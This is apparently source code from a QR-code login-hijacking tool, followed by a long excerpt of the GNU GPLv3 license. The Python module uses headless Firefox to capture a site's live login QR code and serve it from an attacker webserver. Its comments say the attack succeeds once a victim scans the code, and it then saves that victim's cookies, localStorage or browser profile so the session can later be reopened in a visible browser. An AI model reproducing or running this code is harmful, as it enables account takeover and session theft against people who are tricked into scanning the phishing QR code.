| from pathlib2 import Path 11 | import os, pickle, json, time, threading, functools, traceback, subprocess 12 | from stat import S_IRUSR, S_IWUSR, S_IXUSR, S_IRGRP, S_IWGRP, S_IXGRP, S_IROTH, S_IWOTH, S_IXOTH 13 | 14 | # In Sessions folder we have a json file contains all data about sessions like ids and cookie file path that saved with pickle 15 | def generate_profile(useragent="(default)"): 16 | profile = FirefoxProfile() 17 | if useragent.strip().lower()=="(default)": 18 | status("Using the default useragent") 19 | return profile 20 | elif useragent.strip().lower()=="(random)": 21 | random_useragent = generate_user_agent(os=('mac', 'linux')) 22 | profile.set_preference("general.useragent.override", random_useragent) # To make our useragent random 23 | status("Using random useragent "+random_useragent) 24 | return profile 25 | else: 26 | profile.set_preference("general.useragent.override", useragent) 27 | status("Using useragent "+useragent) 28 | return profile 29 | 30 | def Run_inside_thread(thread_name): 31 | def hook(func): 32 | @functools.wraps(func) 33 | def wrapper(*args, **kwargs): 34 | thread = threading.Thread(target=func, name=thread_name, args=args, kwargs=kwargs) 35 | thread.daemon = True 36 | thread.start() 37 | return wrapper 38 | return hook 39 | 40 | class headless_browsers: 41 | # Here we create invisble browsers, fast and in an organized way without repeating browsers for the same module 42 | def __init__(self): 43 | self.opts = Options() 44 | self.opts.add_argument("--headless") # To make firefox invisible of course (Headless) 45 | self.browsers = {} # Here we save all the browsers we create so we can control and use later 46 | self.useragent = "" 47 | self.browser_path = "" 48 | self.sessions_file = os.path.join("core","sessions.json") 49 | p = subprocess.Popen(["which","firefox"], stdout= subprocess.PIPE, stderr= subprocess.PIPE) 50 | out, err = p.communicate() 51 | if err or not out.decode(): 52 | self.browser_path = "" 53 | else: 54 | self.browser_path = out.decode().strip() 55 | 56 | def new_session(self, module_name, url, useragent="(random)", force=False): 57 | if self.browser_path == "": 58 | return {"Status":"NoBrowser"} 59 | if self.browsers!={} and module_name in list(self.browsers.keys()) and self.browsers[module_name]["Status"] and force: 60 | return {"Status":"Duplicate"} 61 | else: 62 | new_headless = {module_name:{"host":"","port":""}} 63 | 64 | new_headless[module_name]["url"] = url 65 | if not useragent.strip(): # This if condition is useless because module won't let the useragent to be empty but I will leave it just in case... 66 | return {"Status":"Invalid useragent"} 67 | else: 68 | profile = generate_profile(useragent) 69 | try: 70 | new_headless[module_name]["Controller"] = None 71 | caps = DesiredCapabilities.FIREFOX.copy() 72 | # Disabling the new Firefox driver called marionette so it won't override geckodriver 73 | # caps['marionette'] = False 74 | caps['binary_location'] = self.browser_path 75 | if Settings.debug: 76 | new_headless[module_name]["Controller"] = Firefox(profile, executable_path="/usr/local/share/geckodriver", capabilities=caps)#options=self.opts) # Inserting the browser object 77 | else: 78 | new_headless[module_name]["Controller"] = Firefox(profile, executable_path="/usr/local/share/geckodriver", capabilities=caps, options=self.opts) # Inserting the browser object 79 | except Exception as e: 80 | if Settings.debug: 81 | print(" Exception: "+str(e)) 82 | print(" Trackback: ") 83 | traceback.print_exc() 84 | return {"Status":"Failed"} 85 | else: 86 | new_headless[module_name]["Status"] = "Success" 87 | self.browsers.update(new_headless) 88 | new_headless[module_name]["Controller"].get(url) 89 | self.useragent = new_headless[module_name]["Controller"].execute_script("return navigator.userAgent;") 90 | return new_headless[module_name] 91 | 92 | @Run_inside_thread("Sessions catcher thread") 93 | def create_listener(self, module_name, change_identifier, session_type): 94 | # If I used another function to run this one as thread, python would be upset :D 95 | # So I'm using a decorator and also it looks cooler :D 96 | try: 97 | status(f"Waiting for sessions on {module_name}") 98 | controller = self.browsers[module_name]["Controller"] 99 | if controller: 100 | while self.browsers[module_name]["Status"] == "Success": 101 | # Look for the xpath contained in "change_identifier" 102 | # variable. This must be the Xpath of an element 103 | # present only in the page that we reach after the 104 | # attack has been successful. If the element is found 105 | # by Xpath the attack has been successful 106 | # 107 | # Conversely, if the element has not been found, it 108 | # means that we are still on the QRCode page and the 109 | # session has not yet been created. The attack has not 110 | # yet been successfully completed. In this case Try 111 | # to Catch "Unable to locate element: " and 112 | # continue listening for a session 113 | try: 114 | identifier = controller.find_element(By.XPATH, change_identifier) 115 | if identifier: 116 | # If the identifier is found the attack has 117 | # been successful 118 | print() 119 | status(f"Got session on {module_name} module") 120 | if session_type.lower() == "localstorage": 121 | self.save_localstorage(module_name) 122 | elif session_type.lower() == "cookies": 123 | self.save_cookie(module_name) 124 | else: 125 | self.save_profile(module_name) 126 | 127 | if Settings.verbose: 128 | status("Resetting browser cookies and localStorage to start over..") 129 | 130 | if not session_type.lower() == "profile": 131 | controller.delete_all_cookies() 132 | controller.execute_script("window.localStorage.clear()") 133 | controller.refresh() 134 | if Settings.verbose: 135 | status("Session reset successfully") 136 | time.sleep(5) 137 | else: 138 | # Identifier found! Can now close the 139 | # session and stop listening 140 | self.close_job(module_name) 141 | self.close_all() 142 | else: 143 | time.sleep(5) 144 | except: 145 | # Identifier not found: wait end continue listening 146 | time.sleep(5) 147 | else: 148 | error(f"Browser controller hasn't been created [{module_name}]") 149 | except Exception as e: 150 | if Settings.debug: 151 | print("\nSession listener error:") 152 | print(" Exception -> "+str(e)) 153 | print(" Trackback -> ") 154 | traceback.print_exc() 155 | return 156 | 157 | @Run_inside_thread("QR updater thread") 158 | def website_qr(self, module_name, img_xpath): 159 | # Always download the QR image from the site to use it in the webserver 160 | status(f"Running a thread to keep the QR image [{module_name}]") 161 | controller = self.browsers[module_name]["Controller"] 162 | if controller: 163 | while self.browsers[module_name]["Status"] == "Success": 164 | try: 165 | misc.Screenshot(controller, img_xpath, module_name) 166 | #if Settings.verbose: status(f"QR code image updated! [{module_name}]") 167 | time.sleep(3) 168 | except: 169 | time.sleep(1) 170 | else: 171 | error(f"Browser controller hasn't been created [{module_name}]") 172 | 173 | @Run_inside_thread("Idle detector thread") 174 | def check_img(self, module_name, button_xpath): 175 | # Checks if QR image got blocked by a reloading button and click it 176 | status(f"Running a thread to detect Idle once it happens then click the QR reload button [{module_name}]") 177 | controller = self.browsers[module_name]["Controller"] 178 | if controller: 179 | while self.browsers[module_name]["Status"] == "Success": 180 | try: 181 | btn = controller.find_element(By.XPATH, button_xpath) # now it should work 182 | # If we got here then that means we got the button 183 | if Settings.verbose: status(f"Idle detected, Reloading QR code image [{module_name}]") 184 | btn.click() 185 | time.sleep(5) 186 | except: 187 | time.sleep(1) # Yeah we need to be fast 188 | else: 189 | error(f"Browser controller hasn't been created [{module_name}]") 190 | 191 | @Run_inside_thread("Webserver manager thread") 192 | def serve_module(self, module_name, host, port): 193 | # Start a webserver for module and automatically close it when module closed 194 | status(f"Initializing webserver... [{module_name}]") 195 | self.browsers[module_name]["host"] = "http://"+host 196 | self.browsers[module_name]["port"] = str(port) 197 | webserver = server(name=module_name,port=port) 198 | webserver.start_serving(host) 199 | while self.browsers[module_name]["Status"] == "Success": 200 | time.sleep(1) 201 | # Well, the module got stopped 202 | webserver.stop_web_server() 203 | 204 | def save_localstorage(self,module_name): 205 | browser = self.browsers[module_name]["Controller"] 206 | session_file_name = os.path.join( "sessions",time.ctime().replace(" ","-") )+".session" 207 | session_file = open(session_file_name,"wb") 208 | pickle.dump( browser.execute_script("return localStorage"), session_file) 209 | session_file.close() 210 | if Settings.debug: 211 | status("localStorage data saved in "+session_file_name) 212 | # Now let's save session details into sessions file 213 | with open( self.sessions_file ) as f: 214 | try: 215 | sessions = json.load(f) 216 | except: 217 | sessions = {} 218 | 219 | for i in range(0,1000): 220 | if str(i) not in list(sessions.keys()): 221 | session_id = str(i) 222 | break 223 | 224 | session = { 225 | session_id:{ 226 | "name":module_name, 227 | "web_url":self.browsers[module_name]["url"], 228 | "session_type":"localStorage", 229 | "useragent":self.useragent, 230 | "session_path":session_file_name 231 | } 232 | } 233 | sessions.update(session) 234 | f = open( self.sessions_file,"w" ) 235 | json.dump(sessions, f, indent=2) 236 | f.close() 237 | status("Session saved successfully") 238 | 239 | def save_cookie(self,module_name): 240 | # First let's save the browser cookies before anything 241 | browser = self.browsers[module_name]["Controller"] 242 | session_file_name = os.path.join( "sessions",time.ctime().replace(" ","-") )+".session" 243 | session_file = open(session_file_name,"wb") 244 | pickle.dump( browser.get_cookies(), session_file) 245 | session_file.close() 246 | if Settings.debug: 247 | status("Cookies saved in "+session_file_name) 248 | # Now let's save session details into sessions file 249 | with open( self.sessions_file ) as f: 250 | try: 251 | sessions = json.load(f) 252 | except: 253 | sessions = {} 254 | 255 | for i in range(0,1000): 256 | if str(i) not in list(sessions.keys()): 257 | session_id = str(i) 258 | break 259 | 260 | session = { 261 | session_id:{ 262 | "name":module_name, 263 | "web_url":self.browsers[module_name]["url"], 264 | "session_type":"cookie", 265 | "useragent":self.useragent, 266 | "session_path":session_file_name 267 | } 268 | } 269 | sessions.update(session) 270 | f = open( self.sessions_file,"w" ) 271 | json.dump(sessions, f, indent=2) 272 | f.close() 273 | status("Session saved successfully") 274 | 275 | def save_profile(self, module_name): 276 | # Note: 277 | # 278 | # function "close()" closes the current window 279 | # function "quit()" closes the entire session 280 | # 281 | # When calling "close()", if there is 1 window 282 | # left, the entire session will also be closed 283 | # 284 | # When the session is closed, the profile path 285 | # declared in "moz:profile" is deleted: 286 | # example logic https://github.com/SeleniumHQ/selenium/blob/e4b87d445601fcb1f9bbb2dcc6f47848673ce800/py/selenium/webdriver/firefox/webdriver.py#L213 287 | # 288 | # This means that interacting with previously 289 | # saved session will throw a "file not found" 290 | # exception when trying to load the profile 291 | # saved in the ".pf" files 292 | # 293 | # Workaround: set directory as read only using 294 | # function "os.chmod()" 295 | browser = self.browsers[module_name]["Controller"] 296 | profile_file_name = os.path.join( "profiles",time.ctime().replace(" ","-")) + ".pf" 297 | profile_file = open(profile_file_name,"w") 298 | profile_file.write(browser.capabilities['moz:profile']) 299 | profile_file.close() 300 | 301 | # Set Profile Path as read only 302 | try: 303 | os.chmod(browser.capabilities['moz:profile'], 304 | S_IRUSR | 305 | S_IXUSR | 306 | S_IRGRP | 307 | S_IXGRP | 308 | S_IROTH | 309 | S_IXOTH 310 | ) 311 | except Exception as e: 312 | if Settings.debug: 313 | print("\nProfile save error:") 314 | print(" Exception -> "+str(e)) 315 | print(" Trackback -> ") 316 | traceback.print_exc() 317 | error("Couldn't set read only permissions for Profile Path") 318 | warning("Profile Path could be deleted by Selenium when the session is closed") 319 | 320 | if Settings.debug: 321 | status("Profile location saved in " + profile_file_name) 322 | 323 | with open( self.sessions_file ) as f: 324 | try: 325 | sessions = json.load(f) 326 | except: 327 | sessions = {} 328 | 329 | for i in range(0,1000): 330 | if str(i) not in list(sessions.keys()): 331 | session_id = str(i) 332 | break 333 | 334 | session = { 335 | session_id:{ 336 | "name":module_name, 337 | "web_url":self.browsers[module_name]["url"], 338 | "session_type":"profile", 339 | "useragent":self.useragent, 340 | "session_path":profile_file_name 341 | } 342 | } 343 | sessions.update(session) 344 | f = open( self.sessions_file,"w" ) 345 | json.dump(sessions, f, indent=2) 346 | f.close() 347 | status("Session saved successfully") 348 | 349 | 350 | 351 | def close_all(self): 352 | if self.browsers!={}: # I'm using this comparsion because it's is faster than comparsion with keys length btw 353 | for module_name in list(self.browsers.keys()): 354 | try: 355 | self.browsers[module_name]["Controller"].close() # To close the browser 356 | except: # Some one played with the browser so it lost control lol 357 | pass 358 | self.browsers[module_name]["Controller"] = None # Reseting the browser controller 359 | self.browsers[module_name]["Status"] = None # To close any listener working on this browser 360 | 361 | def close_job(self, module_name): 362 | if self.browsers!={}: 363 | if module_name in list(self.browsers.keys()): 364 | try: 365 | self.browsers[module_name]["Controller"].close() # To close the browser 366 | except: # Some one played with the browser so it lost control lol 367 | pass 368 | self.browsers[module_name]["Controller"] = None # Reseting the browser controller 369 | self.browsers[module_name]["Status"] = None # To close any listener working on this browser 370 | 371 | class visible_browsers: 372 | # Here we open sessions for user with cookies we already have from sessions 373 | def __init__(self): 374 | self.browsers = [] 375 | self.sessions_file = os.path.join("core","sessions.json") 376 | 377 | def load_localstorage(self, session_id): 378 | sessions = json.load(open( self.sessions_file )) 379 | storage_path = sessions[str(session_id)]["session_path"] 380 | url = sessions[str(session_id)]["web_url"] 381 | # Setting useragent to the same one the session saved with 382 | useragent = sessions[str(session_id)]["useragent"] 383 | profile = FirefoxProfile() 384 | profile.set_preference("general.useragent.override", useragent ) 385 | localStorage = pickle.load(open(storage_path, "rb")) 386 | try: 387 | browser = Firefox(profile) 388 | except: 389 | error("Couldn't open browser to view session!") 390 | return 391 | browser.get(url) 392 | browser.delete_all_cookies() 393 | browser.execute_script("window.localStorage.clear()") # clear the current localStorage 394 | for key,value in localStorage.items(): 395 | browser.execute_script("window.localStorage.setItem(arguments[0], arguments[1]);", key, value) 396 | status(f"Session {session_id} loaded") 397 | browser.refresh() 398 | self.browsers.append(browser) 399 | 400 | def load_cookie(self, session_id): 401 | sessions = json.load(open( self.sessions_file )) 402 | cookie_path = sessions[str(session_id)]["session_path"] 403 | url = sessions[str(session_id)]["web_url"] 404 | # Setting useragent to the same one the session saved with 405 | useragent = sessions[str(session_id)]["useragent"] 406 | profile = FirefoxProfile() 407 | profile.set_preference("general.useragent.override", useragent ) 408 | cookies = pickle.load(open(cookie_path, "rb")) 409 | try: 410 | browser = Firefox(profile) 411 | except: 412 | error("Couldn't open browser to view session!") 413 | return 414 | browser.get(url) 415 | browser.delete_all_cookies() 416 | browser.execute_script("window.localStorage.clear()") # clear the current localStorage 417 | for cookie in cookies: 418 | browser.add_cookie(cookie) 419 | status(f"Session {session_id} loaded") 420 | browser.refresh() 421 | self.browsers.append(browser) 422 | 423 | def load_profile(self, session_id): 424 | try: 425 | sessions = json.load(open( self.sessions_file )) 426 | profile_path = sessions[str(session_id)]["session_path"] 427 | url = sessions[str(session_id)]["web_url"] 428 | useragent = sessions[str(session_id)]["useragent"] 429 | with open(profile_path, "r") as ff: 430 | pro_path = Path(ff.read()) 431 | if Settings.debug: 432 | status(f"Loading profile [{str(pro_path)}]") 433 | 434 | # Try to reset write permissions to Profile Path 435 | # For more information you can see why write 436 | # permission was removed by reading comments for 437 | # "save_profile()" function in this file! 438 | try: 439 | os.chmod(str(pro_path), 440 | S_IRUSR | 441 | S_IWUSR | 442 | S_IXUSR | 443 | S_IRGRP | 444 | S_IXGRP | 445 | S_IROTH | 446 | S_IXOTH 447 | ) 448 | except Exception as e: 449 | if Settings.debug: 450 | print("\nProfile load error:") 451 | print(" Exception -> "+str(e)) 452 | print(" Trackback -> ") 453 | traceback.print_exc() 454 | error("Couldn't set write permissiom back for previous Profile Path") 455 | warning("Invalid permissions can produce unexpected errors") 456 | 457 | profile = FirefoxProfile(str(pro_path)) 458 | browser = Firefox(profile) 459 | except Exception as e: 460 | if Settings.debug: 461 | print("\nProfile loader error:") 462 | print(" Exception -> "+str(e)) 463 | print(" Trackback -> ") 464 | traceback.print_exc() 465 | error("Couldn't open browser to view session!") 466 | return 467 | browser.get(url) 468 | self.browsers.append(browser) 469 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 